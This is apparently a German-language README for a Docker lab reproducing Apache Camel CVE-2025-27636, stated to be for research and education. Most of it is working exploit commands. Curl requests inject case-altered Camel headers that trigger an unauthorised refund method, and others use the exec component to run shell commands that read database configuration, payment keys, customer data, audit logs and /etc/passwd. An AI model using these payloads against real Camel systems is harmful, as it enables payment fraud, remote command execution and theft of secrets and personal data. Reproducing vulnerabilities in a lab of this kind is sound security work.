
Demonstriert Apache Camel CVE-2025-27636 mit Docker-basierter Reproduktion von Header-Injection-Angriffen, einschließlich Bean-Methoden-Injection und Befehlsausführung für Sicherheitsforschung und Bildung.
Dieses Projekt demonstriert Sicherheitslücken in Apache Camel im Zusammenhang mit Header-Injection-Angriffen.
Docker-Image erstellen:
docker build -t camel-cve-demo .
Container mit allen erforderlichen Ports ausführen:
docker run -d `
--name camel-cve-demo `
-p 8080:8080 `
-p 8081:8081 `
-p 8484:8484 `
-v ${PWD}/logs:/app/logs `
-e JAVA_OPTS="-Xmx512m -Xms256m" `
camel-cve-demo
Verwundbaren Endpunkt durch Injizieren von Methodennamen ausnutzen:
# Erfolgreicher Angriff - Groß-/Kleinschreibung beachten
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "cAmelBeanMethodName: processRefund" -d "order_id=ORD999&amount=9999.99"
# Alternative - Query-Parameter-Injection
curl.exe "http://localhost:8081/api/payment/callback?cAmelBeanMethodName=processRefund" -X POST -d "order_id=ORD999&amount=9999.99"
Vergleich (diese sollten fehlschlagen):
# Falsche Groß-/Kleinschreibung - sollte nicht funktionieren
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "camelbeanmethodname: processRefund" -d "order_id=ORD999&amount=9999.99"
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "CamelBeanMethodName: processRefund" -d "order_id=ORD999&amount=9999.99"
Exec-Komponente ausnutzen, um beliebige Befehle auszuführen:
Aufklärung:
# Aktuelles Verzeichnis prüfen
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c pwd"
# Konfigurationsverzeichnis auflisten
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c ls -la /app/config/"
# Konfigurationsdateien finden
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c find / -name database.conf 2>/dev/null"
Datenextraktion:
# Datenbankkonfiguration lesen
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs: /etc/app/config/database.conf"
# Zahlungsgeheimnisse lesen
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs: /app/secrets/payment.key"
# Kundendaten lesen
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/var/data/customers/customers.csv"
# Audit-Logs lesen
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/var/log/audit/audit.log"
# Systembenutzer lesen
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/etc/passwd"
# Prozesse auflisten
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: ps" -H "cAmelExecCommandArgs:aux"
Angriffs-Logs im Container prüfen:
# Nicht autorisierte Rückerstattungsversuche anzeigen
docker exec camel-cve-demo cat /tmp/unauthorized_refund.txt